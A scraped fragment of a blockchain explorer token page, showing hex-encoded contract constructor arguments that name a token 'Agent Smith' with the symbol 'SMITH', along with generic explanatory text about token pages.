Arg [3] : 00000000000000000000000000000000000000000000000000000008190caf00
Arg [4] : 000000000000000000000000000000000000000000000000000000000000000b
Arg [5] : 4167656e7420536d697468000000000000000000000000000000000000000000
Arg [6] : 0000000000000000000000000000000000000000000000000000000000000005
Arg [7] : 534d495448000000000000000000000000000000000000000000000000000000
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.